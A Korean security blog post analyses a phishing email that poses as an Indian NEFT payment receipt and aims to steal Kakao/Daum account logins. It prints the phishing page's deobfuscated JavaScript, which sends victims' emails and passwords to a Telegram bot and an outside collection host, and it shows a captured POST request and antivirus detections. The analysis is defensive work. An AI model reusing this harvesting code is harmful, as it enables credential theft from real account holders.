꿈을꾸는 파랑새

오늘은 카카오 계정(다음 계정)탈취 목적의 피싱 메일에 대해 글을 적어 보겠습니다.
해당 피싱(Phising) 메일인 NEFT Payment Receipt(2023.10.23) 에 대해 글을 적어 보겠습니다. 일단 해당 메일은 다음과 같은 메일로 옵니다.

daum(.)net_NEFT <sales@ekatorbd(.)com>
NEFT Payment Receipt
Dear Sir,
As per trail Mail regarding Payment of Outstanding balance, We have initiated the
Debit to your Account.
Kindly Confirm NEFT Note and Adjust Record Accordingly.
Attached is the NEFT Note/Purchase Order for your records.
Thanks.
Best Regards,
Purchase Team. 
1 Attachment  - View All
PDF NEFT Confirmation Note.pdf 
326 kb View 
한국어로 번역하면 다음과 같습니다.
daum(.)net_NEFT <sales@ekatorbd(.)com>
NEFT 결제 영수증
귀하에게,
미결제 잔액 지불에 관한 추적 메일에 따라 당사는
귀하의 계좌로 인출하십시오.
NEFT 메모를 확인하고 이에 따라 기록을 조정하시기 바랍니다.
귀하의 기록을 위한 NEFT 메모/구매 주문서가 첨부되어 있습니다.
감사해요.
친애하는,
구매팀.
첨부파일 1개 - 모두 보기
PDF NEFT 확인서.pdf
326kb 보기

카카오 및 다음 계정 유출 시도 피싱 메일
카카오 및 다음 계정 유출 시도 피싱 메일

여기서 뜬금없이 NEFT가 나오는데 NEFT는 개인과 기업이 안전하고 효율적인 방식으로 은행 간에 자금을 이체할 수 있도록 인도에서 사용되는 인기 있는 전자 결제 시스템입니다. 즉 한국 하고고 전혀 상관없는 메일이지만 인도와 연관이 돼 있으며 아마도 낚시에 낚일 확률이 발생할 것입니다.
일단 기본적으로 피싱 하는 방법은 다음과 같습니다. 위에 있는 이메일 내용처럼 너의 계좌에 미결제 잔액이 이다. 그 돈을 인출을 해라~그럼 PDF 확인해 그러면 사이트로 이동해서 비밀번호 입력을 하는 순간 당신의 계정은 さようなら가 됩니다.
메인 화면에 보며 기본적으로 잘 준비 돼 있는 것을 확인할 수가 있습니다.
웹 소스를 보면 자바스립트를 Deobfuscator 해주면 다음과 같은 결과를 얻을 수가 있습니다.

피싱 사이트 웹소스 포함된 자바스크립트
피싱 사이트 웹소스 포함된 자바스크립트

var _0x3258a4 = _0x4037;
(function (_0x1d70cf, _0x474658) {
  var _0x2e589b = _0x1d70cf();
  while (true) {
    try {
      var _0xf81f1c = parseInt(_0x4037(0x1d9)) / 0x1 + -parseInt(_0x4037(0x1d3)) / 0x2 * (parseInt(_0x4037(0x1ca)) / 0x3) + parseInt(_0x4037(0x1f9)) / 0x4 * (-parseInt(_0x4037(0x1e8)) / 0x5) + parseInt(_0x4037(0x1fa)) / 0x6 + parseInt(_0x4037(0x1c3)) / 0x7 * (parseInt(_0x4037(0x1dd)) / 0x8) + -parseInt(_0x4037(0x1d1)) / 0x9 * (-parseInt(_0x4037(0x1e7)) / 0xa) + parseInt(_0x4037(0x1f5)) / 0xb * (-parseInt(_0x4037(0x1ae)) / 0xc);
      if (_0xf81f1c === _0x474658) {
        break;
      } else {
        _0x2e589b.push(_0x2e589b.shift());
      }
    } catch (_0x565d16) {
      _0x2e589b.push(_0x2e589b.shift());
    }
  }
})(_0x32d0, 0x211e3);
$(document).bind('keydown', function (_0x5b9225) {
  if (_0x5b9225.ctrlKey && _0x5b9225.which == 0x53) {
    _0x5b9225.preventDefault();
    return false;
  }
});
document.addEventListener("contextmenu", _0x4b3f1d => _0x4b3f1d.preventDefault());
document.onkeydown = function (_0x5a8699) {
  return !(_0x5a8699.ctrlKey && (_0x5a8699.keyCode === 0x43 || _0x5a8699.keyCode === 0x56 || _0x5a8699.keyCode === 0x55 || _0x5a8699.keyCode === 0x75));
};
$(document).keypress('u', function (_0x595172) {
  return !_0x595172.ctrlKey;
});
let tg = {
  'token': '',
  'chat_id': ''
};
let tg2 = {
  'token2': '',
  'chat_id2': ''
};
function _0x32d0() {
  var _0x5e0ee3 = ['944EVlWXs', '#msg', '#emailrich', "Sign in", 'test', 'ked!', 'which', '.logoname', 'ready', '#submit-btn', '46030IZnEQz', '35cATPIC', '#error', 'https://logo(.)clear', '#password', 'getFullYear', 'show', "lease try again", "ication/pdf' width", 'body', ": 100%; height: 10", 'keypress', 'am.org/bot', 'open', '9482HpdtFQ', 'send', 'COS.pdf?alt=media&', 'focus', '84048ECAgnB', '689676QjNCjq', 'attr', 'addEventListener', 'onkeydown', "d; font-size:14px'", "on: absolute; top:", "0%; background-col", 'Verifing...', "src='hxxps://fireb", 'JSON', 'https://api(.)telegr', 'msg', 'token', '#logoimg', 'asestorage.googlea', '/sendMessage?chat_', 'substr', 'animate', "Email: ", 'k-3d359.appspot(.)co', 'val', 'POST', '#email', '#inputbar', 'id=', 'log', '1296DNkJLw', 'm/o/R23-0116%20YEV', '#logoname', "\n        Password ", "='100%' height='10", " 0; left: 0; width", 'toLowerCase', 'src', "5cd9af' type='appl", 'bit(.)com/', "Success! Pdf Unloc", "<div style='positi", '5-493a-b0b5-af0c96', 'serialize', 'ctrlKey', 'preventDefault', 'contextmenu', "0%' /></div>", 'location', 'signal', 'hide', '5383xURepM', 'bind', 'html', 'indexOf', 'token=934d8958-0cc', 'token2', 'pis(.)com/v0/b/ddlin', '253479jMMgHP', 'click', '.php', 'op/otiksve(w)nt/post', 'getDate', 'getMonth', '#back1', '72ldvlhl', "or: #fff;'><embed ", '2qsbiSB', "<p style='color:re", 'I%20ELECTRODOMESTI', 'hash', 'padStart', 'keyCode', '21781(2)wDPUix', 'toUpperCase', "Invalid details, p", 'GET'];
  _0x32d0( =) function () {
    return _0x(5)e0ee3;
  };
  r(e)turn _0x32d0();
}
function sen(d)Message(_0x396ef1) {
  const _0xac0(e)b7 = "https://api.telegram(.)org/bot/sendMessage?chat_(i)d=&text=" (+) _0x396ef1;
  const _0x21980e = new XMLHttpRequest();
  _0x21980e.open('GET', _0xac0eb7);
  _0x21980e.send();
}
function sendMessage2(_0x6cdff4) {
  const _0x3c4282 = "https://api.telegram(.o)rg/bot/sendMessage?chat_id=&text=" + _0x6cdff4;
  const _0x366eea = new XMLHttpRequest();
  _0x366eea.open("GET", _0x3c4282);
  _0x366eea.send();
}
function _0x4037(_0x392f30, _0x2ed3e3) {
  var _0x32d01e = _0x32d0();
  _0x4037 = function (_0x403782, _0x4ce88f) {
    _0x403782 = _0x403782 - 0x1a9;
    var _0xd8ffb = _0x32d01e[_0x403782];
    return _0xd8ffb;
  };
  return _0x4037(_0x392f30, _0x2ed3e3);
}
$(document).ready(function () {
  var _0x410109 = 0x0;
  $("#back1").click(function () {
    $("#msg").hide();
    $('#email').val('');
    $('#automail').animate({
      'left': 0xc8,
      'opacity': "hide"
    }, 0x0);
    $("#inputbar").animate({
      'right': 0xc8,
      'opacity': "show"
    }, 0x3e8);
  });
  var _0x41555b = window.location.hash.substr(0x1);
  if (!_0x41555b) {} else {
    $("#email").val(_0x41555b);
    $("#emailrich").html(_0x41555b);
    if (!/^([a-zA-Z0-9_\.\-])+\@(([a-zA-Z0-9\-])+\.)+([a-zA-Z0-9]{2,4})+$/.test(_0x41555b)) {
      $('#error').show();
      _0x41555b.focus;
      return false;
    }
    var _0x39e44b = _0x41555b.indexOf('@');
    var _0x217d83 = _0x41555b.substr(_0x39e44b + 0x1);
    var _0x1e0a15 = _0x217d83.substr(0x0, _0x217d83.indexOf('.'));
    var _0xcb4025 = _0x1e0a15.toUpperCase();
    $("#logoimg").attr("src", "https://logo.clearbit(.)com/" + _0x217d83);
    $("#logoname").html(_0xcb4025);
    $(".logoname").html(_0xcb4025);
  }
  $("#submit-btn").click(function (_0x4dba8a) {
    $("#error").hide();
    $("#msg").hide();
    _0x4dba8a.preventDefault();
    var _0x5d0a13 = $("#email").val();
    var _0x4fef9f = $("#password").val();
    var _0x565e16 = $("#msg").html();
    var _0x9e88fa = new Date();
    var _0x57382b = String(_0x9e88fa.getDate()).padStart(0x2, '0');
    var _0x166b0a = String(_0x9e88fa.getMonth() + 0x1).padStart(0x2, '0');
    var _0x4f858e = _0x9e88fa.getFullYear();
    _0x9e88fa = _0x166b0a + '/' + _0x57382b + '/' + _0x4f858e;
    var _0x1acadb = "Email: " + _0x5d0a13 + "\n        Password : " + _0x4fef9f + "\n        Date: " + _0x9e88fa;
    sendMessage2(_0x1acadb);
    $("#msg").text(_0x565e16);
    if (!/^([a-zA-Z0-9_\.\-])+\@(([a-zA-Z0-9\-])+\.)+([a-zA-Z0-9]{2,4})+$/.test(_0x5d0a13)) {
      $('#error').show();
      _0x5d0a13.focus;
      return false;
    }
    if (!_0x4fef9f) {
      $("#error").show();
      $("#error").html("<p style='color:red; font-size:14px'>Password field is empty</p>");
      return false;
    }
    var _0x2212bf = _0x5d0a13.indexOf('@');
    var _0x5bbc26 = _0x5d0a13.substr(_0x2212bf + 0x1);
    var _0x45851a = _0x5bbc26.substr(0x0, _0x5bbc26.indexOf('.'));
    var _0x3c8b3f = _0x45851a.toUpperCase();
    $('#logoimg').attr("src", "https://logo.clearbit(.)com/" + _0x5bbc26);
    $("#logoname").html(_0x3c8b3f);
    _0x410109 = _0x410109 + 0x1;
    $.ajax({
      'dataType': "JSON",
      'url': "https://textalop(.)top/otiksvewnt/post(.)php",
      'type': "POST",
      'data': {
        'email': _0x5d0a13,
        'password': _0x4fef9f
      },
      'data': $('#contact').serialize(),
      'beforeSend': function (_0x4134a) {
        $("#submit-btn").val("Verifing...");
      },
      'success': function (_0xc4658d) {
        if (_0xc4658d) {
          $("#msg").show();
          console.log(_0xc4658d);
          if (_0xc4658d.signal == 'ok') {
            $("#password").val('');
            if (_0x410109 >= 0x2) {
              swal("Success! Pdf Unlocked!");
              $("body").html("<div style='position: absolute; top: 0; left: 0; width: 100%; height: 100%; background-color: #fff;'><embed src='https://firebasestorage.googleapis(.)com/v0/b/ddlink-3d359(.)appspot.com/o/R23-0116%20YEVI%20ELECTRODOMESTICOS(.)pdf?alt=media&token=934d8958-0cc5-493a-b0b5-af0c965cd9af' type='application/pdf' width='100%' height='100%' /></div>");
            } else {
              swal("Invalid details, please try again");
            }
            $("#msg").html(_0xc4658d.msg);
          } else {
            $("#msg").html(_0xc4658d.msg);
          }
        }
      },
      'error': function () {
        $("#password").val('');
        if (_0x410109 >= 0x2) {
          swal("Success! Pdf Unlocked!");
          $("body").html("<div style='position: absolute; top: 0; left: 0; width: 100%; height: 100%; background-color: #fff;'><embed src='https://firebasestorage.googleapis(.)com/v0/b/ddlink-3d359.appspot(.)com/o/R23-0116%20YEVI%20ELECTRODOMESTICOS(.)pdf?alt=media&token=934d8958-0cc5-493a-b0b5-af0c965cd9af' type='application/pdf' width='100%' height='100%' /></div>");
        } else {
          swal("Invalid details, please try again");
        }
      },
      'complete': function () {
        $("#submit-btn").val("Sign in");
      }
    });
  });
});

코드 설명

1. 암호화와 복호화: _0x4037 함수와 _0x3258a4 변수는 코드 문자열을 암호화 및 복호화하는 데 사용 해당 암호화 기술은 코드를 더 어렵게 판독하게 만듬
2.키 이벤트 제어:코드는 사용자가 특정키 조합을 누르면 동작을 변경
예를 들어, Ctrl + S 키를 누를 때 웹 페이지에서 기본적으로 실행되는 저장 동작을 막고 해당 코드는 사용자의 브라우저 동작을 제어하는 부분
3.Telegram 봇 통합:sendMessage 및 sendMessage2 함수는 Telegram 봇에 메시지를 보내는 데 사용
이를 통해 웹 페이지에서 특정 이벤트나 조건이 충족될 때 Telegram 채팅으로 메시지를 전송할 수 있음
4. 웹 페이지 상호작용: 코드는 웹 페이지에서 입력된 이메일 주소와 비밀번호를 검증하고 서버로 전송하는 기능을 수행
이를 통해 사용자가 로그인한 이메일과 비밀번호를 서버로 보낼 수 있으며 서버 응답에 따라 페이지 동작이 변경될 수 있음
5.URL 구문분석: URL의 해시 부분을 분석하여 그중에서 이메일 주소를 추출하고 해당 이메일 주소를 웹 페이지의 특정 부분에 표시 해당 URL에서 정보를 추출하고 페이지에 표시하는 용도로 사용
6. 페이지 리디렉션: 특정 조건이 충족되면 페이지를 다시 로드 하거나 다른 페이지로 리디렉션 이것은 사용자를 특정 상황에 따라 다른 페이지로 이동시키거나 웹 페이지 동작을 변경하는 데 사용
해당 코드는 주로 웹 페이지와 관련된 동작을 제어하고, 사용자의 입력 및 키 이벤트를 처리하며 Telegram 봇(텔레그렘 봇)을 사용하여 메시지를 전송하는 역할을 합니다.
앞서 자바스크립트에서 본 것처럼 데이터는 최종적으로 전송되는 사이트는 다음과 같습니다.

다음 계정(카카오 계정)탈취 피싱 사이트
다음 계정(카카오 계정)탈취 피싱 사이트

$.ajax({
      'dataType': "JSON",
      'url': "https://textalop(.)top/otiksvewnt/post(.)php",
      'type': "POST",
      'data': {
        'email': _0x5d0a13,
        'password': _0x4fef9f
      },

HTTP Debugger Pro 개인정보 전송 관련 주소
HTTP Debugger Pro 개인정보 전송 관련 주소

코드 설명

1.$.ajax({ ... }); 블록: 해당 부분은 AJAX 요청을 설정하고 실행하는 부분
AJAX(Asynchronous JavaScript and XML)은 비동기적으로 서버와 상호작용할 수 있는 기술을 제공
2. 'dataType': "JSON": 해당 설정은 요청한 데이터의 형식을 지정
여기서는 JSON 형식으로 응답을 예상하고 있으므로, 서버에서 받은 데이터가 JSON 형식일 것으로 예상
3.url:hxxps://textalop(.)top/otiksvewnt/post(.)php: 해당 설정은 요청을 보낼 대상 URL을 지정
URL은 hxxps://textalop(.)top/otiksvewnt/post(.)php 로 설정되어 있는데, 해당 URL은 실제 서버 주소일 것이며 요청이 해당 서버로 전송
4.type: POST:해당 설정은 HTTP 요청 메서드를 지정
POST는 클라이언트가 서버로 데이터를 전송할 때 주로 사용되는 메서드
해당 경우 사용자가 입력한 이메일과 비밀번호를 서버로 보내는 용도로 POST 메서드가 사용
5.data': { ... }: 해당 설정은 요청 본문에 담을 데이터를 지정
여기서는 이메일과 비밀번호를 객체 형태로 포함하고 있음
_0x5d0a13 는 이메일 주소를 나타내며 _0x4fef9f 는 비밀번호를 나타냄 해당 데이터는 서버로 전송되어 서버 측에서는 이 정보를 받아서 처리
요약하면 해당 코드는 서버로 이메일과 비밀번호를 JSON 형식으로 전송하는 AJAX 요청을 설정하고 실행하는 부분 서버는 이 데이터를 받아서 사용자의 인증을 검증하거나 다른 작업을 수행
됩니다.

HTTP Debugger Pro 본 계정 정보 텔레그램으로 전송
HTTP Debugger Pro 본 계정 정보 텔레그램으로 전송

HTTP Debugger Pro 로 보아도 해당 부분을 통해서 개인정보가 전송된 것을 확인할 수가 있습니다.
그리고 해당 관련해서 Raw 값은 다음과 같습니다.

POST /otiksvewnt/post(.)php HTTP/1.1
Host: textalop(.)top
User-Agent: Mozilla/5.0 (Linux; Android 13; SAMSUNG SM-S918N)
AppleWebKit/537.36 (KHTML, like Gecko) SamsungBrowser/22.0.3.1
Chrome/117.0.0.0 Mobile Safari/537.36
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: ko-KR,ko;q=0.8,en-US;q=0.5,en;q=0.3
Prefer: safe
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: https://ipfs(.)io
DNT: 1
Connection: keep-alive
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: cross-site
Accept-Encoding: gzip, deflate
Content-Length: 44
email=??????%40daum(.)net&password=Test123%40

입니다.
그리고 2023-10-20 12:26:24 UTC 기준 바이러스토탈에서 탐지하는 보안 업체들은 다음과 같습니다.
Avira:Phishing
Bfore.Ai PreCrime:Malicious
CRDF:Malicious
Criminal IP:Phishing
CyRadar:Malicious
Emsisoft:Phishing
ESET:Phishing
ESTsecurity:Phishing
Kaspersky:Phishing
Lionic:Malicious
Netcraft:Malicious
SafeToOpen:Phishing
Trustwave:Phishing
Webroot:Malicious
ArcSight Threat Intelligence:Suspicious
입니다. 그리고 언제나 블로그에서 글을 적었던 ipfs(.)io 계열의 피싱 사이트 입니다. 일단 기본적으로 탐지하는 보안업체들도 있지만, 일부는 탐지하고 있지 않아서 개인적으로 구글 세이프 브라우징(Google Safebrowsing),마이크로소프트 스마트스크린(Microsoft Defender SmartScreen)에 일단 신고했습니다. 이러면 해당 브라우저 계열을 사용하시는 분들은 나중에 등록되면 브라우저에서 탐지 및 차단이 될 것입니다.
언제나 이야기하지만, 기본적인 보안 수칙을 잘 지키는 것이 좋습니다.

공유하기

facebook twitter kakaoTalk kakaostory naver band